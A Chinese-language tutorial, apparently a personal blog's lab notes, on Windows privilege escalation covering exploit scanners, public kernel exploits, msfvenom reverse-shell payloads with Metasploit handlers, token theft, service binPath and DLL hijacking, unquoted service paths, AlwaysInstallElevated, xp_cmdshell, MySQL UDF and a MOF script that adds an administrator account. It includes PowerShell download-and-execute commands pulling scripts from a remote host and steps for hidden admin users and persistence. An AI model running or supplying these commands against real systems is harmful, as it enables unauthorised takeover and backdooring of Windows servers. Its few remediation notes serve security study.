Windows提权

目录

  • 为什么提权
  • Windows提权的常见方法
  • 提权的常用命令
  • 内核漏洞
    • Vulmap【windowslinux】
    • wesng
    • WindowsVulnScan(国)
    • 在线
  • 查询可写目录或文件
    • 目录扫描
    • 上传cmd
  • 本地提权
    • at提权(旧系统)
    • SC提权(旧系统)
    • PSTools
  • 系统漏洞提权
    • CVE-2016-3225(MS16-075)
      • 漏洞描述
      • 漏洞复现
      • 漏洞修复
    • CVE-2014-4113 (MS14-058)
      • 漏洞描述
      • 漏洞复现
    • CVE-2020-0787
      • 漏洞描述
      • 漏洞复现
  • MSF提权
  • 令牌窃取
    • 令牌(Token)
    • MSF伪造令牌实战
  • 烂土豆提权
    • 原理
    • 限制条件
    • 案例
  • 系统服务权限配置错误
    • 原理
    • 利用工具1:PowerUp
    • 利用工具2:PrivescCheck
    • 利用工具3:MSF
  • DLL注入
    • 原理
    • 利用条件
    • 实操
    • 令牌窃取提权
    • 失败的实操
  • 不带引号的服务路径-提权
    • 原理
    • 找出不安全的服务
    • 实操
  • 注册表AlwaysInstallElevated提权
    • 描述
    • 漏洞复现
    • 漏洞修复
  • 第三方提权
    • sqlserver提权
      • 描述
      • 敏感文件
      • 复现
    • mysql提权
      • 描述
      • 注意事项
      • 复现
    • mof提权
      • 描述
      • 复现
    • G6 FTP 提权
      • 描述
      • 原理
      • 复现
  • 绕过uac
    • 描述
    • 复现
  • 远程终端问题集锦
    • 注册表查询端口号
    • 通过网络命令查询端口
    • 关闭防火墙
    • 关闭 ipsec
    • 终端连接错误方法
    • 加入远程桌面组
    • 终端超出最大连接数
  • 参考

为什么提权

  • 读取/写入敏感文件
  • 重新启动之后权限维持
  • 插入永久后门

Windows提权的常见方法

  1. 内核漏洞
  2. 错误的服务权限配置
  3. DLL注入
  4. 始终以高权限安装程序
  5. 凭证存储

提权的常用命令

  1. systeminfo | findstr OS #获取系统版本信息
  2. hostname #获取主机名称
  3. whoami /all #获取当前用户的详细信息
  4. whoami /priv #显示当前用户的安全特权
  5. net start #查看服务

Windows提权_第1张图片

  1. quser或者query user #获取在线用户

Windows提权_第2张图片

  1. netstat -ano | findstr 3389 #获取rdp连接来源IP

Windows提权_第3张图片

  1. dir c:\programdata\ #分析电脑上安装的软件

Windows提权_第4张图片

内核漏洞

思路:使用工具检查出电脑上存在哪些漏洞,然后精准打击。
windows漏洞提权流程:能够执行cmd命令 --> 是否打补丁 --> 补丁对应exp --> 获取服务器权限

Vulmap【windowslinux】

使用Vulmap,一个开源的在线本地漏洞扫描工具,项目地址:https://github.com/vulmon/vulmap/
这是一个Powshell脚本,从 Vulmon 获取实时漏洞数据,而不是依赖本地漏洞数据库。因此,即使是最新的漏洞也可以通过此方法检测到。在windows上的体验不好,linux还不错。
在这里插入图片描述

说它在windows上难用,是这样的,假设你是通过WEB进来了,你拿到的一般是个CMD窗口,而不是powshell,就算能拿到powshell,可能会像下面的虚拟机那样,运行失败,就,有点稀烂。

尝试在虚拟机上运行失败了
Windows提权_第5张图片

在物理主机上,运行结果如下:

有点意思,他检查出我的IDM和steam有漏洞,看了一眼评分9.3的IDM漏洞,如下,厂商也没修复,绝了。
Windows提权_第6张图片

wesng

项目地址:https://github.com/bitsadmin/wesng
WES-NG(Windows ExploitSuggester - Next Generation),可以给用户提供目标操作系统可能存在的漏洞列表,并针对这些漏洞给出漏洞利用实施建议。该工具的适用系统范围从Windows XP到Windows 10,还包括Windows Server等服务器/工作站版本。

使用方法就是先升级漏洞库,然后会下载下来一个名为“definitions.zip”的压缩包(我升级失败了,手动下载的这个压缩包),之后把systeminfo的信息和这个压缩包里面的内容做对比,找出漏洞。但是windows版本众多,各种语言的各种版本,还有盗版的,精简的……所以最终结果仅供参考。

使用优势,只需要获取到对方的systeminfo信息即可。
Windows提权_第7张图片

  1. 执行下列命令获取最新的漏洞数据库:
wes.py --update

升级失败,无妨,画红线的地方,是我们要拿的东西,脚本下载失败,那就挂代理手动下载
https://raw.githubusercontent.com/bitsadmin/wesng/master/definitions.zip

  1. 获取systeminfo文件,然后开打

  1. 拿到名为result.csv的文件,漏洞还挺多的,有点不真实了

Windows提权_第8张图片

WindowsVulnScan(国)

WindowsVulnScan:一款基于主机的漏洞扫描工具,采用多线程确保可以快速的请求数据,采用线程锁可以在向sqlite数据库中写入数据避免database is locked的错误,采用md5哈希算法确保数据不重复插入。
项目地址:https://github.com/chroblert/WindowsVulnScan

本工具查找是否有公开exp的网站为shodan,该网站限制网络发包的速度,因而采用了单线程的方式,且耗时较长

使用优势,只需要获取到对方的systeminfo信息即可。只不过需要对结果略做处理。

功能:

  • 查找主机上具有的CVE
  • 查找具有公开EXP的CVE

原理:

  1. 搜集CVE与KB的对应关系。首先在微软官网上收集CVE与KB对应的关系,然后存储进数据库中
  2. 查找特定CVE网上是否有公开的EXP
  3. 利用powershell脚本收集主机的一些系统版本与KB信息
  4. 利用系统版本与KB信息搜寻主机上具有存在公开EXP的CVE

参数:

# author: JC0o0l
# GitHub: https://github.com/chroblert/
可选参数:
  -h, --help            show this help message and exit
  -u, --update-cve      更新CVEKB数据
  -U, --update-exp      更新CVEEXP数据
  -m MODE, --mode MODE  搭配-U使用。更新模式 All:更新所有;Empty:只更新空白的;Error:只更新之前未成功更新的
  -C, --check-EXP       检索具有EXP的CVE
  -n PRODUCTNAME, --productName PRODUCTNAME
                        搭配-C使用。自定义产品名称,如Windows 10
  -N PRODUCTVERSION, --productVersion PRODUCTVERSION
                        搭配-C使用。自定义产品版本,如20H2
  -f FILE, --file FILE  ps1脚本运行后产生的.json文件

使用方法:

  1. 首先运行powershell脚本KBCollect.ps收集一些信息

将运行后产生的KB.json文件移动到cve-check.py所在的目录
其实,KB.json就是经过简单处理的systeminfo信息
Windows提权_第9张图片

  1. 安装一些python3模块
python3 -m pip install requirements.txt
  1. 运行cve-check.py -u创建CVEKB数据库

Windows提权_第10张图片

  1. 运行cve-check.py -U更新CVEKB数据库中的hasPOC字段
  此处可以使用-m选择更新模式。
  -m All:更新所有
  -m Empty:只更新hasPOC字段为空的
  -m Error:只更新hasPOC字段为Error的

  1. 运行cve-check.py -C -f KB.json查看具有公开EXP的CVE,如下:

很无语,快折腾一下午了,笔记才写到这,各种稀奇古怪的问题,再次核查一下,发现网上说False是正常的,(第一次更新的话,时间会很长,1-2小时内)

知道缺失的cve之后,可以去msf里面搜索,或者github搜索,然后就是漏洞利用了
(1)获取一台win2012的VPS上的systeminfo信息,看看会怎么样

(2)获取我物理机上的systeminfo信息,看看会怎么样
Windows提权_第11张图片

在线

使用http://blog.neargle.com/win-powerup-exp-index/
把systeminfo的信息粘贴进去,就可以获取到相关利用EXP。
Windows提权_第12张图片

查询可写目录或文件

有些时候,服务器可能会限制cmd的权限,或者限制 wscript.shell,都会影响提权。
罗嗦一下,法务论坛的后门有点瑕疵,在低版本的浏览器上可以正常使用,在较新的浏览器上会出现颜色异常,如下:
Windows提权_第13张图片

解决办法也很简单,使用Dark Reader插件,把浏览器调成夜色模式即可。
Windows提权_第14张图片

在确定可以执行cmd命令时,有些服务器会对目录进行权限设置,导致 iis_user 用户组没有权限对常见的目录进行写入和读取,这时可以用脚本对目录进行扫描,得到可写目录,之后上传或下载提权exp或替换文件进行利用。常见的脚本有 wt.asp、wt.aspx,红色表示文件可替换,蓝色表示目录可写。

目录扫描

net版本的 wt.aspx,因为net的权限比 asp大,而且能访问注册表,所以除了常规扫描目录之外,还会读取注册表软件目录进行目录扫描。

  1. 直接访问wt.aspx,它会自动开始检查

Windows提权_第15张图片

  1. 直接访问wt.asp的文件地址,显示界面如下,默认只检测如下3个目录及其子目录。

Windows提权_第16张图片

Windows提权_第17张图片

上传cmd

假设靶机的cmd不让用,那就尝试上传一个cmd上去。

  1. wt.asp的第一个扫描结果是 c:\windows\debug\WIA\,就拿他试试
  2. 大马访问,转到相关路径。

Windows提权_第18张图片

  1. 我没有别的cmd,直接上传我电脑自带的cmd吧。C:\Windows\system32\cmd.exe

Windows提权_第19张图片

Windows提权_第20张图片

  1. cmd上传成功

Windows提权_第21张图片

  1. 使用自己上传的cmd,结果凉皮了,提示缺少对象

Windows提权_第22张图片

  1. 上网下载一个cmd,重新来一遍

把提供附件的后缀,由PDF改为exe即可。Cmd.PDF
Windows提权_第23张图片

本地提权

使用下面的命令,优势在于简单方便

at提权(旧系统)

针对win7之前的系统,就是使用at来计划执行任务,一旦执行,任务将是以system权限运行

at 17:27 /interactive cmd.exe

Windows提权_第24张图片

SC提权(旧系统)

SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”,据说是win7和win2008、win2003都可以用

sc Create syscmd binPath= "cmd /K start" type= own type= interact

sc start syscmd

win2003
Windows提权_第25张图片

win7
点一下那个箭头指向的东西
Windows提权_第26张图片

Windows提权_第27张图片

win2008
跟上面的win7情况一样
Windows提权_第28张图片

Windows提权_第29张图片

win2012失败
Windows提权_第30张图片

PSTools

微软官方的一个工具:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

PSTools工具是Sysinternal推出的一个Windows服务器远程管理工具包,由:

  • PsExec(远程运行程序)
  • PsFile(显示远程打开的文件)
  • PsGetSid(显示计算机或用户的SID)
  • PsKill(结束指定进行)
  • PsList(显示进行)
  • PsService(查看、启用/禁用服务)

等多个工具组成,每个工具都有32位版和64位版的,无需安装,也不用在远程计算机上安装客户端,非常使用,官方说PSTools支持Windows NT/2000,没有说支持不支持更高版本的系统,据说,PSTools里面的工具在WinXP/2003/7/2008/8/8.1甚至Win10系统上都可以正常使用。

这里,我们只要PsExec.exe或者PsExec64.exe即可

psexec.exe -accepteula -s -i -d notepad.exe
psexec.exe -accepteula -s -i -d cmd.exe

在win2012上面成功执行
Windows提权_第31张图片

系统漏洞提权

常用的漏洞有以下这些

CVE-2016-3225(MS16-075)

使用内部靶场 12server7 进行测试。

漏洞描述

Microsoft服务器消息块(SMB)中存在特权提升漏洞。本地攻击者可通过转发适用于在同一计算机上运行的其他服务的身份验证请求,利用该漏洞使用提升的特权执行任意代码。

以下版本受到影响:Microsoft Windows Vista SP2,Windows Server 2008 SP2和R2 SP1,Windows 7 SP1,Windows 8.1,Windows Server 2012 Gold和R2,Windows RT 8.1,Windows 10 Gold和1511。

更详细描述参见:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2016/ms16-075

漏洞复现

利用思路:通过EXP进行提权,然后添加一个用户至管理员组,如果目标开启了远程桌面,就尝试进行登录

EXP地址:https://github.com/itm4n/PrintSpoofer

  1. 上传EXP

来到大马的文件管理,选择可上传文件的路径C:\windows\debug\WIA\,上传提权EXP
Windows提权_第32张图片

可以先看一下软件使用方法
Windows提权_第33张图片

  1. 提权

/c C:\windows\debug\WIA\PrintSpoofer64.exe -i -c "whoami"
Windows提权_第34张图片

再来看一下我本身的权限
Windows提权_第35张图片

  1. 添加用户,默认是用户组

Windows提权_第36张图片

  1. 把添加的用户加入到管理员组

Windows提权_第37张图片

Windows提权_第38张图片

  1. 尝试通过3389端口连接目标

发现目标开了3389端口
Windows提权_第39张图片

Windows提权_第40张图片

漏洞修复

升级系统版本

CVE-2014-4113 (MS14-058)

使用内部靶场 08serverR2-1 进行测试

漏洞描述

Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统。win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后台控制窗口和屏幕输出管理等。

如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。

影响范围:该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本。

漏洞复现

首先判断能不能执行cmd,如果不能,就需要上传一个cmd。如果需要上传一个cmd,就需要判断哪些目录是可读写的。我这里已经准备好了一个cmd
Windows提权_第41张图片

显示效果怪怪的,是浏览器版本偏高导致的,在靶机上使用浏览器可以正常查看
Windows提权_第42张图片

  1. 测试cmd

测试了自己上传的cmd,可以正常运行
Windows提权_第43张图片

  1. 运行exp

CVE-2014-4113-Exploit.pdf
后缀改为rar解压接口。在网上找了随便找了一个,好像有点问题,无法在我的cmd下运行
Windows提权_第44张图片

换用系统自带的cmd可以正常运行
Windows提权_第45张图片

接下来就是增加用户,连3389了,同上。

CVE-2020-0787

漏洞描述

当Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。要利用此漏洞,攻击者首先必须登录到系统。然后,攻击者可以运行巧尽心思构建的应用程序,利用此漏洞并控制受影响的系统。

影响范围:地址1,地址2

漏洞复现

下载EXP:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases
假设你是一个普通用户,在cmd下运行此工具,它会弹出一个具有管理员权限的cmd窗口。把自己加入到管理员组即可。

  1. 发现自己是个普通用户

Windows提权_第46张图片

  1. 把exp拖到cmd中,直接回车

弹出一个新的窗口,权限是管理员
Windows提权_第47张图片

MSF提权

思路:msfvenom生成后门来连接msf,查找目标有哪些可利用的漏洞,然后进行提权

  1. 生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.239.141 lport=4444 -f exe >s.exe
  1. 上传木马

Windows提权_第48张图片

  1. msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4444
exploit

Windows提权_第49张图片

  1. 运行木马, 获取meterpreter

发现当前账号权限较低。 需要进行提权。

  1. 查询补丁安装信息(可选)
run post/windows/gather/enum_patches

  1. 获取提权EXP
use post/multi/recon/local_exploit_suggester
set session 2
exploit

Windows提权_第50张图片

  1. 提权

在上图中的多个exp中随意选择,不一定哪个能用哪个不能用

search ms16_075
use 1
set session 2
exploit

Windows提权_第51张图片

  1. 权限维持

迁移进程
Windows提权_第52张图片

令牌窃取

令牌(Token)

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。​
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。

令牌有很多种:

访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾

以上内容可以忽略不看,实操也非常简单,就3步
说人话就是:令牌窃取是一种可以权限提升的技术,适用的操作系统版本如下

  1. Microsoft Windows XP Professional SP3和之前版本Windows Server 2003 SP2和之前的版本
  2. Windows Server 2003 x64和x64 SP2
  3. Windows Server 2003(用于基于Itanium的系统SP2和先前版本)
  4. Windows Server 2008 x32 x64
  5. Windows Server 2008(用于基于Itanium的系统)
  6. Windows Vista SP1和之前的版本
  7. Windows Vista x64 SP1和之前的版本

MSF伪造令牌实战

假设我们现在已经获得了目标主机的权限,但是通过 getsystem 和其他方式提权失败。

use incognito			#进入incognito模块
list_tokens -u		#列出令牌
impersonate_token "NT AUTHORITY\SYSTEM"		# 选择要窃取的账号

令牌的数据取决于当前获取权限的高低。实测的时候,发现和普通用户建立的会话,拿到的令牌列表没有system,甚至administrator。
Windows提权_第53张图片

烂土豆提权

所谓的烂土豆提权就是俗称的MS16-075,可以将权限提升到“NT AUTHORITY \ SYSTEM”

原理

  1. 欺骗“NT AUTHORITY \ SYSTEM”账户通过NTLM认证到我们控制的TCP终端
  2. 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY \ SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的 Windows api调用实现的。
  3. 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、 MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

所以,一般从web拿到的 welshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,发现使用已经建好的账户(就是上面说的用户级账户)去反弹 meterpreter然后再去执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹 meterpreter就会成功。

总之,我对这个的理解是iis账户,权限太低,不能通过令牌窃取,列出系统账号进行提权,所以需要烂土豆,然后就可以列出系统账号,获取system权限

烂土豆比热土豆的优点是

  1. 100%可靠
  2. 通杀程度高
  3. 立即生效,,用像 hot potato那样有时候需要等 Windows更新才能使用

限制条件

  1. 需要支持SeImpersonate或者SeAssignPrimaryToken权限
  2. 开启DCOM
  3. 本地支持RPC或者远程服务器支持PRC并能成功登录
  4. 能够找到可用的COM对象

更多细节,参见烂土豆JUICYPOTATO提权原理和利用

案例

条件有限,下面的案例来自网络

  1. 使用的是凝聚科技的webshell,可以去github上搜一下,能出来
  2. 上传webshell,查看到自己是iis权限

Windows提权_第54张图片

  1. msf生成后门,使用大马上传,并运行后门
  2. 直接使用msf提权失败。失败原因很简单,自己权限太低,不足以通过令牌窃取提权

Windows提权_第55张图片

  1. 下载烂土豆exp

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

  1. 使用烂土豆+令牌窃取提权

Windows提权_第56张图片

系统服务权限配置错误

原理

windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。

windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。

利用工具1:PowerUp

PowerUp是Privesc模块下的一个脚本,功能相当强大,拥有很多可以用来寻找目标主机Windows服务漏洞进行提权的实用脚本。项目地址:https://github.com/HarmJ0y/PowerUp,要用到的是其中的 PowerUp.ps1 文件。
缺点:工具很久没有更新了,并且显示效果不大好。

在webshell上面执行如下命令来远程下载PowerUp.ps1,测试结果如下图:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.239.132/PowerUp.ps1'); Invoke-AllChecks"

Windows提权_第57张图片

利用工具2:PrivescCheck

这个工具比 PowerUp 显示的内容更加详细。项目地址:https://github.com/itm4n/PrivescCheck.git
在webshell上面执行如下命令来远程下载PrivescCheck.ps1,测试结果如下图:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.239.132/PrivescCheck.ps1'); Invoke-PrivescCheck"

Windows提权_第58张图片

搜索 NT AUTHORITY\SERVICE,发现有一个叫 UsoSvc 的服务里面有它,用户是本地system。
NT AUTHORITY\SERVICE拥有本机计算机的最小的权限,并且在网络中扮演一个计算机的角色,该账户没有密码
Windows提权_第59张图片

接下来的思路就是生成一个木马并上传到目标系统上面,然后告诉UsoSvc,你运行的时候,要运行这个木马文件。

  1. 查看UsoSvc的运行状态:sc query UsoSvc
  2. 停止运行UsoSvc:sc stop UsoSvc
  3. 启动UsoSvc:sc start UsoSvc

获取meterpreter
木马的准备与msf的监听,参见文章前面介绍的 MSF提权,此处不再赘述

  1. 木马投递,来到C:\ProgramData\目录下,上传木马。木马的文件路径:C:\ProgramData\s.exe

Windows提权_第60张图片

  1. 确认服务已经停止

Windows提权_第61张图片

  1. 设置 UsoSvc 的bin文件路径为木马的路径:sc config usosvc binPath= "C:\ProgramData\s.exe"

注意: 等于号后面是有一个空格的
Windows提权_第62张图片

  1. 启动 UsoSvc 服务

虽然连接上了,但是当windows启动服务失败时,连接就会断开。因此需要设置进程迁移。

  1. 设置msf做自动进程迁移

有session过来的话,会自动做进程迁移set AutoRunScript migrate -f

利用工具3:MSF

获取到一个低权限的sesion,然后查看目标系统有没有可利用的错误配置

  1. 木马的准备与msf的监听,参见文章前面介绍的 MSF提权,此处不再赘述

通过命令执行的方式,直接运行木马,获取到一个低权限的session
Windows提权_第63张图片

  1. Metasploit中的攻击模块:exploit/windows/local/service_permissions

service_permissions模块会使用两种方式获取system权限,如果以管理员权限运行,会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,会判断哪些服务的文件或文件夹的权限有问题,并对其进行劫持,在劫持服务时会创建一个可执行程序,其文件名和安装路径都是随机的。

发现只需要设置一下session就行了。

经过大量测试之后,权限提升为system。

DLL注入

原理

Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
Windows查找DLL目录及其顺序如下:

应用程序加载的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
当前工作目录Current Working Directory,CWD
在PATH环境变量的目录(先系统后用户)

这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。​
详细文章介绍:https://www.anquanke.com/post/id/225911

利用条件

这种技术,很鸡肋。
要满足一下条件才能成功:

  1. 这个软件,可以被利用
  2. 你可以替换dll文件
  3. 受害者会运行与这个dll文件相关的软件

实操

通过webshell进行信息收集,制作dll木马并上传,替换dll,启动应用后成功

  1. 这里呢,使用火绒剑获取FlashFXP程序的相关dll,然后就可以退出FlashFXP了

Windows提权_第64张图片

  1. 使用msf生成恶意dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.239.141 lport=4444 -f dll >./hack.dll
  1. 重命名恶意dll文件,并替换原文件

Windows提权_第65张图片

  1. msf开启监听
  2. 运行FlashFXP,msf拿到会话

Windows提权_第66张图片

令牌窃取提权

Windows提权_第67张图片

失败的实操

在“利用条件”中提到,软件需要可以被利用才行,什么意思呢?替换dll会导致软件不能正常运行,
有的软件虽然不能正常运行,但是可以反弹shell,上面的实验,就是这种
但有的软件是直接凉凉,没有反弹shell,而是报错,如下:

  1. 找出phpstudy的相关dll

Windows提权_第68张图片

  1. msf生成恶意dll文件,并替换掉phpstudy的相关dll,结果phpstudy报错,msf拿不到会话。

Windows提权_第69张图片

不带引号的服务路径-提权

说人话,就是,要找出满足如下条件的路径:

  1. 路径中有空格
  2. 路径没有用双引号包住
  3. 可以写入文件到此路径下

原理

在windows中存在这样一个情况,如果1个路径,或者文件中存在空格,需要将其使用双引号括住,才能正确被系统识别出来。如下
Windows提权_第70张图片

第1个命令没有用双引号括住,导致系统误认为C:\Program是个程序,Files (x86)是参数,从而出现了异常,不过,说来好笑的是,上面的操作是在powshell发生了异常,但是在cmd中,是不会报错的
Windows提权_第71张图片

攻击思路就是,找出服务中,既存在空格路径,还没有用双引号括住的路径。然后制造误会,让服务启动错误的程序,即可拿到system的shell

找出不安全的服务

在cmd中执行如下命令,即可获取到服务中,存在空格的,可能不安全的服务。

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

可以看到,我这里存在一个不安全的服务,是关于的。所以,接下来就是msf生成名为Program.exe的后门文件,放在c盘根目录下即可。启动服务的时候,为什么能发生攻击呢?路径没有包含在引号中,服务会按照以下顺序依次执行

c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe

Windows提权_第72张图片

实操

  1. 生成名为Program.exe的木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.239.141  lport=4444 -f exe >./Program.exe
  1. 将木马丢到受害者的C盘根目录下面
  2. msf开启监听
  3. 找到相关服务

发现程序正在运行,那怎么行,重启服务(视权限而定,不能重启服务就等重启电脑)
Windows提权_第73张图片

  1. 重启服务

Windows提权_第74张图片

  1. 拿到会话

Windows提权_第75张图片

最后,服务是无法启动的,因为电脑已经找不到正确的程序了,它会报错
Windows提权_第76张图片

等它报错的时候,会话就会断开,所以,实战中需要上传别的后门,快速进行权限维持,或者使用上面介绍的进程迁移方式也行。

注册表AlwaysInstallElevated提权

描述

允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT Authority\System权限来安装恶意的MSI文件。 windows install是windows操作系统的组件之一,专门用来管理配置软件服务。它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install通过msiexec.exe安装MSI文件,双击MSI文件就会运行msiexec.exe。 原理:是因为用户打开了windows installer 特权安装功能。

说人话就是,借助某个软件,以低权限的身份,在目标上创建了一个高权限用户
另外,这种漏洞极少会碰到!

漏洞复现

运行 gpedit.msc 打开组策略编辑器
Windows提权_第77张图片
Windows提权_第78张图片

也可以使用命令行修改注册表

reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
Reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
  1. 在webshell中执行如下命令.

使用PowerUp检测注册表是否有设置,如果返回 true 证明可以利用
(PowerUp.ps1参见上文** 利用工具1:PowerUp**)

/c PowerShell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.239.132/PowerUp.ps1'); Get-RegAlwaysInstallElevated

Windows提权_第79张图片

  1. 上传 COMahawk64.exe 执行即可获取一个高权限用户

COMahawk64.pdf(后缀改为exe即可)
Windows提权_第80张图片

Windows提权_第81张图片

Windows提权_第82张图片

漏洞修复

禁用注册表键AlwaysInstallElevated。

第三方提权

除了系统自带的服务外 ,安装第三方的软件例如 mysql、sqlserver、ftp等应用软件,如果权限设置不对,会对服务器造成安全隐患,从而导致服务器被提权。

sqlserver提权

描述

如果网站里面使用的数据库是 sqlserver,那么如果找到sa的密码,利用提权脚本提权。但是不一定能得到系统权限,还要看管理员的权限设置。 一般情况提权得到的是system权限或者pulic权限,均能执行命令。

敏感文件

web.config
config.asp
conn.aspx
database.aspx

复现

这里假设已经通过敏感文件得到了数据库的密码。

  1. 连接数据库

Windows提权_第83张图片

  1. 开启xp_cmdshell
Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

点击“Query”按钮,执行命令
Windows提权_第84张图片

  1. 尝试命令执行

Windows提权_第85张图片

  1. 查看权限

查看当前用户是一个普通用户,可以执行一些基础的命令。可以上传溢出提权工具,来提高当前用户的权限。
Windows提权_第86张图片

mysql提权

描述

在 mysql 中可以使用自定义函数(udf = user defined function)进行提权,自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下才能创建自定义函数。

注意事项

  1. secure_file_priv文件

在之前的文章 SQL注入 中提到过 secure_file_priv,只有这个参数后面什么都没有的时候,才行。否则,如下图:
Windows提权_第87张图片

  1. plugin子目录

一般来说,mysql数据库里面是没有plugin这个文件夹的。如果没有,直接gg。
Windows提权_第88张图片

Windows提权_第89张图片

  1. 可以使用语句查询plugin插件目录
SHOW VARIABLES LIKE "%plugin%"

Windows提权_第90张图片

复现

  1. 在网站上寻找 mysql 服务的连接账号和密码,上传提权脚本到网站目录
  2. 填写mysql的账号和密码后,导出udf

Windows提权_第91张图片

然后,靶机上会多一个文件
Windows提权_第92张图片

  1. 试着执行如下命令

Windows提权_第93张图片

Windows提权_第94张图片

  1. 接下来的思路就是创建一个隐藏用户,然后登录目标的3389远程桌面

Windows提权_第95张图片

用户创建成功
Windows提权_第96张图片

远程桌面开放
Windows提权_第97张图片

mof提权

描述

MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

复现

公开的nullevt.mof利用代码

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};
  1. 配置一下程序

Windows提权_第98张图片

mof文件夹需要添加everyone权限
Windows提权_第99张图片

  1. 连接

Windows提权_第100张图片

  1. 添加用户
net.exe user moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add

Windows提权_第101张图片

  1. 用户添加成功

Windows提权_第102张图片

G6 FTP 提权

流程:

  1. 确认目标有G6 FTP之后,找出其账号密码
  2. 上传lcx流量转发工具方便本地的G6能连接目标
  3. 连接之后,创建一个新用户
  4. 使用新用户的身份,借助启动项提权

描述

G6 FTP Server 新一代的 FTP 服务器端软件,支持 RFC-959 标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。

原理

G6 FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要进行端口转发(使用lcx 工具)
查看到G6 ftp端口
Windows提权_第103张图片

复现

  1. 获取G6 ftp的账号密码

